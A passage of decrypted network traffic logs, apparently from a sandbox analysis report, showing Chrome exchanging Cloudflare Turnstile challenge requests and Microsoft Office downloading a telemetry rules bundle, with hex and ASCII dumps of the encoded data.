2024-12-05 21:16:40 UTC	1369	IN	Data Raw: 4b 72 74 36 76 4b 31 38 76 55 30 36 33 58 6f 2b 47 66 79 38 75 70 32 75 50 66 76 61 37 6c 73 4d 66 46 72 2b 36 34 34 63 6e 37 78 2b 58 4f 33 4c 7a 77 30 65 37 45 38 74 44 55 34 4f 6e 71 33 4e 54 31 78 41 77 44 43 4d 30 4f 45 77 49 55 38 75 50 58 36 75 7a 30 2b 68 50 2b 38 74 73 52 49 42 44 6c 49 69 48 61 32 2f 49 49 46 65 77 47 45 50 6f 61 4a 69 77 49 42 52 59 5a 49 65 38 53 4b 67 59 6d 4d 69 77 55 4e 7a 4c 38 48 6a 67 58 45 66 34 79 4b 51 68 43 51 44 63 34 50 44 34 68 55 43 30 2b 54 55 4d 50 54 45 39 59 4e 56 49 61 4d 6c 42 54 4d 32 51 2f 58 45 63 68 58 57 42 4b 56 79 74 50 4b 79 78 76 58 32 6c 4b 5a 6d 70 48 63 7a 52 6a 62 32 68 50 61 31 42 4f 63 32 39 36 64 47 39 7a 56 58 73 37 64 47 79 49 56 33 36 47 69 31 47 44 69 46 31 50 68 59 36 48 54 34 2b 54 65 Data Ascii: Krt6vK18vU063Xo+Gfy8up2uPfva7lsMfFr+644cn7x+XO3Lzw0e7E8tDU4Onq3NT1xAwDCM0OEwIU8uPX6uz0+hP+8tsRIBDlIiHa2/IIFewGEPoaJiwIBRYZIe8SKgYmMiwUNzL8HjgXEf4yKQhCQDc4PD4hUC0+TUMPTE9YNVIaMlBTM2Q/XEchXWBKVytPKyxvX2lKZmpHczRjb2hPa1BOc296dG9zVXs7dGyIV36Gi1GDiF1PhY6HT4+Te
2024-12-05 21:16:40 UTC	1369	IN	Data Raw: 56 32 39 32 35 75 5a 2f 54 34 38 44 6d 36 71 7a 4e 76 39 72 6d 34 37 33 6b 78 66 54 45 35 73 6a 72 78 2b 7a 66 36 38 72 74 34 50 50 6a 38 38 44 44 79 41 67 41 33 74 55 49 34 75 45 49 43 75 51 51 7a 51 41 51 47 4e 63 53 37 42 51 5a 47 42 6a 34 49 52 7a 62 4a 4e 6f 68 42 78 4d 6c 45 76 72 35 2b 42 72 74 43 65 38 61 41 77 6f 43 4b 66 45 4a 39 43 49 4d 4b 41 67 72 4e 50 6b 4c 4c 44 77 65 2b 7a 38 62 49 6a 35 43 47 6a 52 45 53 44 64 42 47 6b 77 6e 4a 55 39 54 46 54 59 6f 51 30 39 4d 4a 6b 30 75 58 53 31 50 4d 56 51 77 56 55 68 55 4d 31 5a 4a 58 45 78 63 4b 53 77 78 63 47 68 47 4c 48 46 4a 62 47 39 6c 63 32 78 7a 64 33 6c 50 54 32 74 57 4e 6a 31 31 51 45 52 2f 65 47 74 6c 53 34 31 65 6a 34 65 41 54 6e 4a 30 68 49 79 4c 6a 34 31 57 63 55 2b 4c 69 58 4b 59 6d 6e Data Ascii: V2925uZ/T48Dm6qzNv9rm473kxfTE5sjrx+zf68rt4PPj88DDyAgA3tUI4uEICuQQzQAQGNcS7BQZGBj4IRzbJNohBxMlEvr5+BrtCe8aAwoCKfEJ9CIMKAgrNPkLLDwe+z8bIj5CGjRESDdBGkwnJU9TFTYoQ09MJk0uXS1PMVQwVUhUM1ZJXExcKSwxcGhGLHFJbG9lc2xzd3lPT2tWNj11QER/eGtlS41ej4eATnJ0hIyLj41WcU+LiXKYmn
2024-12-05 21:16:40 UTC	1369	IN	Data Raw: 30 74 66 72 35 73 44 6a 38 4f 6e 45 34 2f 50 74 34 4e 2f 76 38 73 33 4a 39 2f 58 6e 30 66 58 35 76 2f 76 38 42 66 37 37 43 41 51 44 44 41 63 48 34 41 51 4a 43 2f 6f 4a 34 67 37 6f 44 42 49 53 31 78 51 54 46 2f 41 4d 48 42 6f 64 44 42 73 66 48 2b 41 6a 4a 42 50 6b 4a 79 59 6e 48 43 6f 78 4b 79 51 75 4c 66 4d 77 4e 54 51 7a 39 44 77 32 45 54 55 50 4f 68 59 57 4f 7a 34 2f 4e 45 46 43 48 51 6c 45 52 6a 6b 34 52 6b 6f 6c 44 56 52 4f 46 45 52 52 56 46 4e 55 56 56 31 58 54 46 5a 62 57 78 31 65 58 7a 6b 6c 59 6d 49 6f 59 54 74 6c 4c 43 6c 6f 61 30 56 73 62 32 39 67 53 6e 42 79 4f 6d 52 79 64 31 46 34 65 58 6c 41 50 58 75 41 66 34 43 46 69 59 4e 4a 68 59 68 33 54 59 79 4b 55 49 69 55 6a 70 42 6e 5a 35 4a 74 6d 4a 69 58 6c 35 43 57 6d 57 42 68 6f 61 57 66 5a 5a 36 Data Ascii: 0tfr5sDj8OnE4/Pt4N/v8s3J9/Xn0fX5v/v8Bf77CAQDDAcH4AQJC/oJ4g7oDBIS1xQTF/AMHBodDBsfH+AjJBPkJyYnHCoxKyQuLfMwNTQz9Dw2ETUPOhYWOz4/NEFCHQlERjk4RkolDVROFERRVFNUVV1XTFZbWx1eXzklYmIoYTtlLCloa0Vsb29gSnByOmRyd1F4eXlAPXuAf4CFiYNJhYh3TYyKUIiUjpBnZ5JtmJiXl5CWmWBhoaWfZZ6
2024-12-05 21:16:40 UTC	1369	IN	Data Raw: 2b 6a 63 77 73 4c 70 78 71 6e 69 37 4f 54 4b 79 76 4c 30 73 65 72 30 37 4e 4c 53 2f 4e 6e 6c 38 51 6b 44 35 63 54 75 7a 65 45 44 45 51 73 46 33 51 6e 6b 42 65 49 52 37 67 51 55 46 64 33 74 2f 41 50 68 39 52 63 6c 48 78 67 66 4b 42 55 55 2f 69 6b 4e 49 66 6f 70 42 78 77 65 4d 77 6b 4b 46 53 37 34 50 43 77 78 45 52 49 41 4f 43 30 54 45 7a 30 61 4a 6a 78 4a 51 79 6f 46 52 55 6b 34 52 55 30 30 43 69 4e 4c 46 54 56 50 57 46 4d 6e 4b 31 51 65 4c 79 39 59 4e 6b 4a 55 5a 56 38 32 49 57 42 6c 56 46 31 70 55 47 30 2f 5a 6a 46 52 61 33 52 76 54 30 64 71 64 55 6b 31 63 54 6f 79 65 58 56 73 59 58 75 45 66 6f 56 58 66 55 59 2b 68 59 46 35 58 31 2b 46 54 6b 61 4d 69 59 42 31 6a 35 69 54 62 32 75 52 57 6c 4b 59 6c 59 31 7a 63 35 6c 69 57 70 2b 64 6c 49 6d 6a 72 4b 64 2f Data Ascii: +jcwsLpxqni7OTKyvL0ser07NLS/Nnl8QkD5cTuzeEDEQsF3QnkBeIR7gQUFd3t/APh9RclHxgfKBUU/ikNIfopBxweMwkKFS74PCwxERIAOC0TEz0aJjxJQyoFRUk4RU00CiNLFTVPWFMnK1QeLy9YNkJUZV82IWBlVF1pUG0/ZjFRa3RvT0dqdUk1cToyeXVsYXuEfoVXfUY+hYF5X1+FTkaMiYB1j5iTb2uRWlKYlY1zc5liWp+dlImjrKd/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49778	104.18.94.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:41 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:42 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 05 Dec 2024 21:16:42 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 2prVemDHFew708m+VvJIV+iAxFTkna4gA/0=$IKgecSlB2ZVAwAqV Server: cloudflare CF-RAY: 8ed70f0a9c67726b-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:42 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49779	104.18.95.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:47 UTC	1175	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34379 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:47 UTC	16384	OUT	Data Raw: 76 5f 38 65 64 37 30 65 62 39 38 39 32 62 31 38 32 64 3d 7a 70 36 6c 33 4a 72 73 68 47 34 61 70 61 65 4a 63 61 4b 61 25 32 62 78 55 72 51 61 76 61 42 4e 4a 73 39 4a 61 62 61 78 4c 2d 55 72 76 61 36 4e 4a 79 39 72 32 47 61 43 50 61 72 68 4e 61 51 61 62 52 4c 53 4c 61 30 62 35 52 4e 72 6b 35 64 61 4e 61 44 2d 61 55 56 61 33 39 6f 6c 50 46 7a 61 2b 36 61 71 61 36 76 53 61 32 78 61 72 6f 50 6c 46 52 73 6d 63 58 68 4c 6e 4e 61 57 46 52 4f 34 59 61 49 4e 72 39 49 49 61 61 34 68 61 44 4f 35 69 65 61 35 39 61 73 57 36 61 4a 56 65 61 69 56 35 61 5a 61 36 61 54 49 33 52 4a 6f 59 68 41 36 46 65 69 6e 4a 4c 39 65 65 58 61 2d 6f 4a 4f 63 38 5a 61 61 31 46 6e 61 72 35 34 42 4f 69 6c 2b 65 61 6f 4c 77 58 46 78 57 6e 61 53 42 69 45 4e 76 53 5a 35 38 2d 59 37 77 79 4c 53 Data Ascii: v_8ed70eb9892b182d=zp6l3JrshG4apaeJcaKa%2bxUrQavaBNJs9JabaxL-Urva6NJy9r2GaCParhNaQabRLSLa0b5RNrk5daNaD-aUVa39olPFza+6aqa6vSa2xaroPlFRsmcXhLnNaWFRO4YaINr9IIaa4haDO5iea59asW6aJVeaiV5aZa6aTI3RJoYhA6FeinJL9eeXa-oJOc8Zaa1Fnar54BOil+eaoLwXFxWnaSBiENvSZ58-Y7wyLS
2024-12-05 21:16:47 UTC	16384	OUT	Data Raw: 69 6f 36 42 64 35 4f 61 61 72 67 49 46 4d 39 4a 4c 72 2b 61 35 4c 68 61 4f 65 2b 56 61 55 61 7a 61 35 34 4a 4b 36 55 64 55 6c 35 4d 6a 6b 66 64 61 35 79 4e 39 61 36 6c 4a 68 61 4b 70 7a 6c 61 70 61 78 6f 6f 4c 4a 45 61 41 6c 72 50 4e 42 6c 48 61 72 62 72 79 61 6e 61 42 4c 61 65 4c 67 61 61 36 35 42 61 36 61 42 36 61 44 4e 6f 6c 4b 36 72 42 61 63 61 2d 68 72 77 61 45 6c 35 34 72 6c 61 50 6c 2b 68 35 63 61 38 6c 7a 34 72 4e 61 24 6c 4a 61 4a 46 68 45 6d 35 61 72 34 6c 4d 64 38 4e 61 6b 61 6a 4c 2d 73 35 72 61 78 6f 7a 34 64 2d 61 6e 61 6e 2d 4a 38 61 30 68 47 39 72 34 61 59 52 36 52 4a 70 61 4a 61 2d 6d 34 49 4c 46 6c 42 74 72 65 61 74 6c 4a 4e 72 34 61 77 61 7a 68 4a 48 4c 74 6c 2d 61 61 49 4c 45 6d 46 70 61 63 61 63 6c 72 59 44 6b 4e 30 68 2b 61 35 32 61 Data Ascii: io6Bd5OaargIFM9JLr+a5LhaOe+VaUaza54JK6UdUl5Mjkfda5yN9a6lJhaKpzlapaxooLJEaAlrPNBlHarbryanaBLaeLgaa65Ba6aB6aDNolK6rBaca-hrwaEl54rlaPl+h5ca8lz4rNa$lJaJFhEm5ar4lMd8NakajL-s5raxoz4d-anan-J8a0hG9r4aYR6RJpaJa-m4ILFlBtreatlJNr4awazhJHLtl-aaILEmFpacaclrYDkN0h+a52a
2024-12-05 21:16:47 UTC	1611	OUT	Data Raw: 38 4e 36 34 61 42 61 38 4e 47 34 64 41 71 56 63 62 4e 72 4c 61 44 7a 48 4e 61 68 61 48 61 2b 68 4a 79 4c 2d 45 6a 54 61 71 76 2b 78 30 6c 72 59 2b 6d 6c 2b 61 4a 66 6b 2d 58 67 55 72 4b 44 56 6c 36 34 4a 44 38 6f 61 55 50 30 37 4c 72 68 43 68 72 73 61 35 4c 72 64 41 48 61 73 6c 2b 6b 50 4c 71 56 52 49 32 49 73 2b 74 6c 2d 6d 67 77 61 6c 24 4f 54 73 55 61 49 41 54 72 31 77 78 78 4e 73 34 2b 31 38 32 39 41 6c 72 76 35 33 6c 48 39 78 6f 43 46 50 34 36 4a 4a 61 56 59 58 50 65 55 61 31 64 61 56 72 68 61 65 4e 72 2b 54 76 61 45 6d 46 53 35 30 31 6d 61 2b 63 38 50 6b 2b 50 24 2b 65 55 61 2d 30 31 4c 51 32 61 6b 6c 47 34 72 56 31 44 53 77 70 4a 32 61 49 54 67 35 6f 4b 61 76 4c 47 36 33 54 65 5a 6a 41 2d 31 6a 35 34 58 70 45 65 76 4e 72 57 53 79 65 47 2b 4e 38 44 Data Ascii: 8N64aBa8NG4dAqVcbNrLaDzHNahaHa+hJyL-EjTaqv+x0lrY+ml+aJfk-XgUrKDVl64JD8oaUP07LrhChrsa5LrdAHasl+kPLqVRI2Is+tl-mgwal$OTsUaIATr1wxxNs4+1829Alrv53lH9xoCFP46JJaVYXPeUa1daVrhaeNr+TvaEmFS501ma+c8Pk+P$+eUa-01LQ2aklG4rV1DSwpJ2aITg5oKavLG63TeZjA-1j54XpEevNrWSyeG+N8D
2024-12-05 21:16:48 UTC	286	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4472 Connection: close cf-chl-out: ID5639ufWV0XqQHkcpX/DpWXjsHgV+ZjyJdGXdhgrXsAuXnHe6SZlrZqPccK4vSDaN4Z0pmTGnkTl/+Y1U8u9vmjVcbhM8hmfTA1C+hf7LNkUOo8SCcdEbA=$TS/rfpWPM87BLiOY
2024-12-05 21:16:48 UTC	1259	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 4e 59 6a 31 34 62 36 35 42 59 42 64 38 63 46 71 7a 49 62 7a 5a 2b 2f 79 36 63 34 43 56 55 43 6d 47 57 71 57 44 62 58 2f 6a 72 34 41 42 70 6d 38 34 52 4c 65 52 63 71 71 2b 47 64 53 7a 72 73 77 2b 32 6a 61 34 62 57 6b 55 4f 72 7a 68 53 4e 46 4b 58 42 4c 71 41 35 5a 37 47 61 42 5a 30 32 6d 58 69 74 4d 44 41 76 52 65 39 42 6f 35 4b 42 75 4e 54 74 36 50 75 59 50 59 69 78 38 63 31 6d 4d 32 31 37 33 76 30 61 41 6e 76 4f 65 44 37 53 32 4b 5a 70 54 45 53 71 50 34 68 36 56 62 43 79 2f 6d 56 46 4d 69 71 62 36 35 4e 37 2f 78 32 34 4b 35 73 44 47 4f 35 72 38 74 52 75 58 68 51 68 39 30 39 36 36 5a 32 63 54 44 76 76 42 51 50 48 51 4c 71 50 2f 50 38 79 76 62 77 45 61 53 56 4e 7a 7a 45 56 36 42 39 63 43 34 4f 68 30 33 55 58 46 71 Data Ascii: cf-chl-out-s: NYj14b65BYBd8cFqzIbzZ+/y6c4CVUCmGWqWDbX/jr4ABpm84RLeRcqq+GdSzrsw+2ja4bWkUOrzhSNFKXBLqA5Z7GaBZ02mXitMDAvRe9Bo5KBuNTt6PuYPYix8c1mM2173v0aAnvOeD7S2KZpTESqP4h6VbCy/mVFMiqb65N7/x24K5sDGO5r8tRuXhQh90966Z2cTDvvBQPHQLqP/P8yvbwEaSVNzzEV6B9cC4Oh03UXFq
2024-12-05 21:16:48 UTC	1193	IN	Data Raw: 6d 62 6d 57 63 35 4f 55 64 70 62 43 6d 4a 65 55 67 49 53 77 68 58 79 45 75 72 69 62 6d 4b 69 61 6e 4c 43 2f 76 61 43 57 30 37 6e 53 31 4e 44 54 32 38 6d 36 33 63 72 56 35 4c 69 32 6f 37 32 6a 31 37 7a 42 70 39 7a 6c 32 4d 7a 67 72 4f 76 78 37 75 6d 78 7a 4d 76 76 2b 4d 62 72 39 50 76 42 36 2f 76 52 74 2f 37 35 78 64 7a 59 36 63 6e 59 2b 38 6e 4a 33 51 73 47 78 75 6a 6b 39 64 54 59 42 50 76 75 45 78 63 54 36 76 54 77 38 52 48 77 45 41 59 59 34 78 67 55 4a 41 63 66 4d 41 6f 6e 49 42 4c 78 44 43 55 59 46 76 6b 70 39 50 51 36 4e 7a 4d 58 46 52 50 38 50 52 45 6f 41 51 59 39 4f 43 6f 34 51 7a 73 76 54 42 4a 41 48 69 49 75 4d 78 46 4c 55 46 46 55 4f 79 34 64 58 6c 5a 62 54 6c 67 38 52 7a 6c 6a 4a 55 70 56 56 6a 67 35 4f 32 56 52 61 32 39 50 51 6d 70 52 61 44 52 Data Ascii: mbmWc5OUdpbCmJeUgISwhXyEuribmKianLC/vaCW07nS1NDT28m63crV5Li2o72j17zBp9zl2MzgrOvx7umxzMvv+Mbr9PvB6/vRt/75xdzY6cnY+8nJ3QsGxujk9dTYBPvuExcT6vTw8RHwEAYY4xgUJAcfMAonIBLxDCUYFvkp9PQ6NzMXFRP8PREoAQY9OCo4QzsvTBJAHiIuMxFLUFFUOy4dXlZbTlg8RzljJUpVVjg5O2VRa29PQmpRaDR
2024-12-05 21:16:48 UTC	1369	IN	Data Raw: 50 72 33 4b 44 30 71 4f 78 56 46 4a 50 7a 34 46 79 67 32 47 67 59 58 53 6b 6c 45 44 45 77 6e 48 7a 59 51 4e 79 73 71 57 68 55 37 4e 52 6c 48 56 43 6f 63 58 79 30 6b 59 57 4d 36 4a 79 4e 54 61 43 68 72 57 47 4d 73 62 45 67 74 4c 53 31 78 51 31 6f 30 54 6e 56 65 65 6a 6c 30 4f 54 70 74 56 30 30 2f 63 55 46 44 69 34 56 58 59 59 74 33 6a 49 36 4c 6a 6c 39 75 54 70 4b 49 59 6c 4a 56 6e 47 65 58 6d 33 46 54 6a 6c 32 52 62 6c 31 6c 71 4b 53 6c 6c 57 4b 58 5a 70 6c 74 72 4a 2b 65 62 6f 53 77 6a 4a 65 55 63 62 57 47 65 71 79 6e 65 70 44 41 76 35 72 46 66 62 4b 66 6e 6f 4f 67 6c 36 37 4f 74 37 32 2f 30 5a 4f 71 6a 73 37 42 6c 5a 6a 48 77 39 6d 34 33 35 2b 61 76 5a 7a 43 31 4f 4b 68 75 35 71 69 36 4e 53 6d 78 65 61 76 75 39 2f 65 73 63 61 74 39 4d 72 47 73 62 4f 74 Data Ascii: Pr3KD0qOxVFJPz4Fyg2GgYXSklEDEwnHzYQNysqWhU7NRlHVCocXy0kYWM6JyNTaChrWGMsbEgtLS1xQ1o0TnVeejl0OTptV00/cUFDi4VXYYt3jI6Ljl9uTpKIYlJVnGeXm3FTjl2Rbl1lqKSllWKXZpltrJ+eboSwjJeUcbWGeqynepDAv5rFfbKfnoOgl67Ot72/0ZOqjs7BlZjHw9m435+avZzC1OKhu5qi6NSmxeavu9/escat9MrGsbOt
2024-12-05 21:16:48 UTC	1369	IN	Data Raw: 41 4f 4c 79 4a 42 47 41 41 79 2f 45 51 73 52 55 63 6d 4a 6b 64 4b 56 45 6c 4b 4e 30 68 45 46 6a 78 49 54 56 4a 48 53 46 56 58 53 7a 35 4f 57 31 4a 56 4f 55 42 56 5a 7a 31 6f 54 7a 6f 38 51 7a 30 76 55 7a 51 70 53 6a 51 33 4e 6b 52 63 54 6d 39 70 50 55 78 7a 55 33 35 57 59 45 4e 79 57 57 4e 48 56 6c 31 2b 6b 49 43 4f 66 32 75 53 55 32 6c 7a 6b 70 65 54 64 59 61 65 65 56 64 67 64 58 35 38 56 31 69 65 6b 33 78 6d 6e 4a 64 34 68 34 6d 6e 66 34 6d 4e 62 33 56 32 62 71 68 35 6d 6f 78 33 72 33 64 36 73 35 47 75 75 4a 37 41 77 63 4f 56 67 63 53 4a 68 70 7a 4a 6a 71 4c 48 7a 71 57 52 7a 38 4c 44 6f 70 58 48 78 61 66 4f 32 64 69 5a 6f 4f 4b 33 31 4e 36 67 76 4c 50 4a 70 5a 32 2b 70 61 6a 70 71 73 7a 72 33 74 33 4b 39 4f 4c 68 30 37 50 32 36 50 7a 72 36 38 34 42 37 Data Ascii: AOLyJBGAAy/EQsRUcmJkdKVElKN0hEFjxITVJHSFVXSz5OW1JVOUBVZz1oTzo8Qz0vUzQpSjQ3NkRcTm9pPUxzU35WYENyWWNHVl1+kICOf2uSU2lzkpeTdYaeeVdgdX58V1iek3xmnJd4h4mnf4mNb3V2bqh5mox3r3d6s5GuuJ7AwcOVgcSJhpzJjqLHzqWRz8LDopXHxafO2diZoOK31N6gvLPJpZ2+pajpqszr3t3K9OLh07P26Pzr684B7
2024-12-05 21:16:48 UTC	541	IN	Data Raw: 45 49 42 38 71 53 53 46 52 4c 56 49 6c 44 55 34 50 51 53 73 6f 53 46 52 51 4a 30 6b 2b 47 6b 73 61 54 45 77 6b 58 6c 45 6c 61 57 5a 6d 51 53 73 70 52 46 31 4a 63 30 59 78 61 6e 4e 77 52 30 35 31 63 44 5a 6f 65 58 6f 39 66 6e 74 34 51 58 39 79 58 47 46 47 51 56 35 61 69 34 5a 50 5a 6b 2b 4c 66 48 56 54 67 6d 6d 54 55 35 57 47 56 5a 69 58 58 58 39 70 6f 35 69 43 70 61 47 69 63 35 57 72 6f 4b 4e 6b 71 4a 74 37 65 62 46 74 63 57 64 75 6f 49 65 57 73 6f 36 6f 65 4c 71 70 6a 35 71 2b 6b 35 4b 4f 77 38 43 53 67 63 4b 46 70 73 6a 48 74 38 4f 4f 76 36 4f 69 79 38 4b 33 71 5a 6a 47 6c 64 4f 64 79 72 37 50 6d 39 72 43 33 4e 7a 66 33 39 4f 70 31 39 50 72 71 65 57 70 37 4c 72 64 72 65 2b 31 34 62 48 73 38 4f 6a 77 2b 50 6e 72 30 62 33 4b 38 50 73 46 41 50 50 39 32 63 Data Ascii: EIB8qSSFRLVIlDU4PQSsoSFRQJ0k+GksaTEwkXlElaWZmQSspRF1Jc0YxanNwR051cDZoeXo9fnt4QX9yXGFGQV5ai4ZPZk+LfHVTgmmTU5WGVZiXXX9po5iCpaGic5WroKNkqJt7ebFtcWduoIeWso6oeLqpj5q+k5KOw8CSgcKFpsjHt8OOv6Oiy8K3qZjGldOdyr7Pm9rC3Nzf39Op19PrqeWp7Lrdre+14bHs8Ojw+Pnr0b3K8PsFAPP92c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49780	104.18.94.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:49 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:49 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 05 Dec 2024 21:16:49 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: GeWCHFxyWUPu+z8E3xYGhAGliZ4pvBRgPGU=$fsMZP4DRNMFqZr+B Server: cloudflare CF-RAY: 8ed70f3aadfb43e8-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:49 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:50 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:51 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:50 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 04 Dec 2024 18:36:58 GMT ETag: "0x8DD1492A2AADD99" x-ms-request-id: 88403f12-001e-00a2-039f-46d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211650Z-1746fd949bd6ztf6hC1EWRvq2s00000002yg000000007vmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:51 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O 